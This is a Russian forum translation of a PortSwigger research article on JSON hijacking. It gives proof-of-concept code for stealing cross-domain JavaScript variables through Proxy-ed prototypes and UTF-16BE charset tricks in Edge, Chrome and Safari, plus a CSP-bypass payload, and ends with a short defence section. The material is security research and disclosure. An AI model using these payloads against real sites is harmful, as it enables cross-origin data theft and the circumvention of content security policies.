• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Использование JSON для атак

NokZKH

Переводчик
Забанен
Регистрация
09.02.2019
Сообщения
99
Реакции
121
Пожалуйста, обратите внимание, что пользователь заблокирован
JSON Hijacking for the Modern Web


Бенджамин Думке-фон-дер-Эхе нашел интересный способ кражи данных между доменами . Используя прокси-серверы JS, он смог создать обработчик, который мог украсть неопределенные переменные JavaScript. Эта проблема исправлена в Firefox, но я нашел новый способ использовать эту уязвимость на Edge. Хотя Edge, по-видимому, препятствует назначению window.__ proto__, но они забыли о Object.setPrototypeOf . С помощью этого метода мы можем переписать свойство __proto__ с проксируемым __proto__. Вот так:

Код:
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
has:function(target,name){
  alert(name);
}
}));
</script>
<script src="external-script-with-undefined-variable"></script>
<!-- script contains: stealme -->

PoC крадет неопределенную переменную>>

Если вы включите междоменный скрипт с включенным stealme, вы увидите, что он предупреждает о значении, даже если это неопределенная переменная.

После дальнейшего тестирования я обнаружил, что вы можете добиться того же, переписав __proto __.__ proto__, который является аналогом [object EventTargetPrototype].

Код:
<script>
__proto__.__proto__=new Proxy(__proto__,{
has:function(target,name){
  alert(name);
}
});
</script>
<script src="external-script-with-undefined-variable"></script>

PoC крадет неопределенную переменную. Вариант №2>>

Отлично то, что мы можем украсть данные x-domain, но что еще мы можем сделать? Все основные браузеры поддерживают атрибут charset в скрипте, я обнаружил, что кодировку UTF-16BE, она была мне особенно интересна. UTF-16BE является многобайтовой кодировкой, поэтому два байта фактически образуют один символ. Например, если ваш скрипт начинается с [», это будет рассматриваться как символ 0x5b22, а не 0x5b 0x22. 0x5b22 является допустимой переменной JavaScript =). Понимаете к чему я веду?

Допустим, у нас есть ответ от веб-сервера, который возвращает литерал массива, и мы можем контролировать его часть. Мы можем сделать массив буквально неопределенной переменной JavaScript с помощью кодировки UTF-16BE и украсть его, используя описанную выше технику. Единственное предостережение в том, что результирующие символы при объединении должны образовывать допустимую переменную JavaScript.

Например, давайте посмотрим на следующий вывод:

["supersecret","input here"]

Чтобы украсть "supersecret", нам нужно ввести символ NULL, за которым следуют два символа. По какой-то причине Edge не воспринимает его как UTF-16BE, если в нем нет этих введенных символов. Возможно, он выполняет какое-то прослушивание кодировки или, возможно, усекает ответ, и символы после NULL не являются допустимой переменной JS в Edge. Я не уверен, но в моих тестах, кажется, требуется NULL и дополнение некоторыми символами. Смотрите пример:

Код:
<!doctype HTML>
<script>
Object.setPrototypeOf(__proto__,new Proxy(__proto__,{
    has:function(target,name){
        alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
}));
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
Код:
<!-- script contains the following response: ["supersecret","<?php echo chr(0)?>aa"] -->

Edge PoC крадет каналы JSON>>

Таким образом, мы проксируем свойство __proto__, как и раньше, включаем скрипт с кодировкой UTF-16BE. Ответ должен содержать NULL, за которым следуют два символа a во втором элементе литерала массива. Затем я декодирую кодированную строку UTF-16BE путем сдвига битов на 8, чтобы получить первый байт, и побитового И, чтобы получить второй байт. В результате появляется всплывающее окно с предупреждением ["supersecret", " как вы можете заметить, Edge удаляет ответ после NULL. Обратите внимание, что эта атака довольно сложна, поскольку при объединении многих символов не получается допустимая переменная JavaScript. Однако это может быть полезно при краже небольших объемов данных.

Кража JSON-каналов в Chrome
Chrome гораздо более строг со сценариями с необычной кодировкой. Вам не нужно контролировать какой-либо ответ, чтобы Chrome использовал кодировку. Единственное требование состоит в том, что, как и прежде, символы, объединенные вместе, создают допустимую переменную JavaScript. Чтобы использовать эту «особенность», нам нужна еще одна неопределенная переменная. На первый взгляд кажется, что Chrome предотвратил перезапись __proto__, но они забыли, как глубоко __proto__ идет ...

Код:
<script>
__proto__.__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{
    has:function f(target,name){
        var str = f.caller.toString();
        alert(str.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
    }
});
</script>
<script charset="UTF-16BE" src="external-script-with-array-literal"></script>
<!-- script contains the following response: ["supersecret","abc"] -->

ПРИМЕЧАНИЕ: это было исправлено в Chrome 54

Chrome PoC, крадущий каналы JSON, работает в версии 53

Мы углубляемся на 5 уровней вниз по цепочке __proto__ и перезаписываем её нашим прокси. Она возвращает функцию с именем нашей переменной! Очевидно, закодированная в UTF-16BE, выглядит так:

Код:
function 嬢獵灥牳散牥琢Ⱒ慢挢崊

Waaahat? Таким образом, наша переменная является вызывающей. Вы должны вызвать метод toString функции, чтобы получить доступ к данным, в противном случае Chrome выдает ошибку. Я попытался использовать это, проверив конструктор функции, чтобы увидеть, возвращает ли он другой домен. Когда был включен adblock plus, я увидел какой-то код расширения, использующий этот метод, но не смог его использовать, так как это был просто ввод кода в текущий документ.

В своих тестах я также смог включить кросс-домен данных XML или HTML даже с типом содержимого text / html, что делает это довольно серьезным раскрытием информации. Эта уязвимость была исправлена в Chrome.

Кража JSON-каналов в Safari
Мы также можем легко сделать то же самое в последней версии Safari. Нам просто нужно использовать на один протокол меньше и использовать имя от прокси вместо вызывающего.

Код:
<script>
__proto__.__proto__.__proto__.__proto__=new Proxy(__proto__,{
        has:function f(target,name){
            alert(name.replace(/./g,function(c){ c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff); }));
        }
});
</script>

PoC, крадущий каналы JSON(Safari)>>

После дальнейшего тестирования я обнаружил, что Safari уязвим к той же проблеме, что и Edge, и требует только __proto __.__ proto__.

Взлом JSON-каналов без JS-прокси
Я упомянул, что кодировка UTF-16BE работает во всех основных браузерах. Как можно взломать каналы JSON без прокси-серверов JS? Во-первых, вам нужно контролировать некоторые данные, и канал должен быть сконструирован таким образом, чтобы он создавал допустимую переменную JavaScript. Чтобы получить первую часть канала JSON до того, как ваши введенные данные будут довольно простыми, все, что вам нужно сделать, это вывести строку в кодировке UTF-16BE, которая присваивается переменной, не являющейся ASCII, а затем перебирает окно и проверяет, существует ли это значение. Тогда имя свойства будет содержать всю ленту JSON (all the JSON feed) перед вашей инъекцией. Код выглядит так:

=1337;for(i in window)if(window[i]===1337)alert(i)

Этот код затем кодируется в виде строки UTF-16BE, поэтому мы фактически получаем код вместо переменной, отличной от ASCII. По сути это означает просто заполнение каждого символа значением NULL. Чтобы получить символы после введенной строки, я просто использую функцию инкремента и создаю закодированную строку после свойства window. Затем мы вызываем setTimeout и снова перебираем window, но на этот раз проверяем NaN, который будет иметь имя переменной нашей закодированной строки. Пример:

setTimeout (function () {for (i в окне) {try {if (isNaN (window [i]) && typeof window [i] === / number / .source) alert (i);}))} catch (e ) {}}}); window.a ++

Я обернул его в try catch, потому что в IE window.external выдает исключение при проверке с помощью isNaN . Весь фид JSON будет выглядеть так:

Код:
{"abc":"abcdsssdfsfds","a":"<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}));setTimeout(function(){for(i in window){try{if(isNaN(window[i])&&typeof window[i]===/number/.source)alert(i.replace(/./g,function(c){c=c.charCodeAt(0);return String.fromCharCode(c>>8,c&0xff);}))}catch(e){}}});++window.", "UTF-16BE")?>a":"dasfdasdf"}

Взлом JSON-каналов без прокси. PoC

Обход CSP
Как вы могли заметить, преобразованная строка UTF-16BE также преобразует новые строки в переменные, не относящиеся к ASCII, что дает возможность даже обойти CSP! HTML-документ будет обрабатываться как переменная JavaScript. Все, что нам нужно сделать - это внедрить скрипт с кодировкой UTF-16BE, который внедряет в себя, закодированное назначение и полезную нагрузку с завершающим комментарием. Это будет обходить политику CSP, которая позволяет сценариям ссылаться на один и тот же домен.

HTML-документ должен выглядеть следующим образом:

HTML:
<!doctype HTML><html>
    <head>
        <title>Test</title>
        <?php
        echo $_GET['x'];
        ?>
    </head>
    <body>

    </body>
</html>

Обратите внимание, что после doctype нет переноса строки. Обратите внимание, что в документе нет объявленной кодировки, это не потому, что кодировка имеет значение, а потому, что кавычки и атрибуты meta element ломают JavaScript. Полезная нагрузка выглядит следующим образом (обратите внимание, что для создания допустимой переменной требуется вкладка)

<script%20src="index.php?x=%2509%2500%253D%2500a%2500l%2500e%2500r%2500t%2500(%25001%2500)%2500%253B%2500%252F%2500%252F"%20charset="UTF-16BE"></script>

Примечание. Это исправлено в более поздних версиях PHP, по умолчанию используется кодировка UTF-8 для типа содержимого text / html, поэтому атака не будет выполнена. Однако я просто добавил пустую кодировку в ответ JSON, чтобы она все еще работала в лаборатории.

Обход CSP с использованием UTF-16BE PoC>>

Другие кодировки
Я размышлял над каждым браузером и кодировкой. Edge был довольно бесполезен, потому что, как упоминалось ранее, он выполняет какое-то "прослушивание" кодировки, и если у вас нет определенных символов в документе, он не будет использовать кодировку. Chrome был очень любезен, особенно потому, что инструменты разработчика позволяют фильтровать результаты консоли с помощью регулярных выражений. Я обнаружил, что кодировка ucs-2 позволяет вам импортировать данные XML как переменную JS, но она даже более хрупкая, чем UTF-16BE. Тем не менее мне удалось получить следующий XML для правильного импорта в Chrome.

Код:
<root><firstname>Gareth</firstname><surname>a<?php echo mb_convert_encoding("=1337;for(i in window)if(window[i]===1337)alert(i);setTimeout(function(){for(i in window)if(isNaN(window[i]) && typeof window[i]===/number/.source)alert(i);});++window..", "iso-10646-ucs-2")?></surname></root>

Вышеуказанное больше не работает в Chrome, но я включил его в качестве другого примера.

UTF-16 и UTF-16LE тоже выглядят полезными, поскольку выходные данные скрипта выглядят как переменная JavaScript, но они вызывают недопустимые синтаксические ошибки при включении типа документа, XML или строки JSON. У Safari также было несколько интересных результатов, но в моих тестах я не смог получить корректный JavaScript. Возможно, стоит продолжить исследование, но это будет трудно.

CSS
Вы могли бы подумать, что этот метод может быть применен к CSS, и теоретически это должно быть, так как любой HTML будет преобразован в недопустимый селектор CSS не ASCII, но в действительности браузеры, кажется, смотрят на документ, чтобы увидеть, есть ли заголовок doctype перед анализом CSS с выбранной кодировкой и игнорирует таблицу стилей, что приводит к сбою самоинжектированной таблицы стилей. Edge, Firefox и IE в стандартном режиме также, похоже, проверяют тип MIME. Chrome говорит, что таблица стилей была интерпретирована, но, по крайней мере, в моих тестах это не выглядело так.

Защита
Атаки с помощью кодировки можно предотвратить, объявив кодировку, например UTF-8, в заголовке типа содержимого HTTP. PHP 5.6 также предотвращает эти атаки, объявляя кодировку UTF-8, если в заголовке типа содержимого не задана ни одна из них.

Заключение
Edge, Safari и Chrome содержат ошибки, которые позволяют вам читать незадекларированные переменные между доменами. Вы можете использовать разные кодировки, чтобы обойти CSP и украсть данные скрипта. Даже без прокси вы можете украсть данные, если сможете контролировать некоторые ответы JSON.

Обновление ...
Я представил эту статью на OWASP в Лондоне и Манчестере. Вы можете найти доклад и слайды ниже:
OWASP London talk>>
Слайды из лондонской беседы OWASP>>

Обновление ...
После обсуждения кражи нескольких неопределенных переменных с @ 1lastBr3ath он дал мне ссылку на статью Такеши Терады, в которой есть пример кода, который работает в более ранних версиях Firefox, которые были исправлены. В примере кода было показано, что можно украсть несколько неопределенных переменных, используя ловушку get. Ловушка get создает все неопределенные переменные, определенные значением, и, следовательно, позволяет украсть данные. Google и Apple исправили эту проблему, однако она все еще работает на Edge.

Код выглядит так:

Код:
__proto__.__proto__ = new Proxy(__proto__,{
has:function(target,name){
        alert(name);
        return true;
},
get: function(){ return 1}//get trap makes all undefined variables defined
});

Переведено специально для https://xss.pro
Переводчик статьи - https://xss.pro/members/177895/
Оригинал - https://portswigger.net/blog/json-hijacking-for-the-modern-web
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх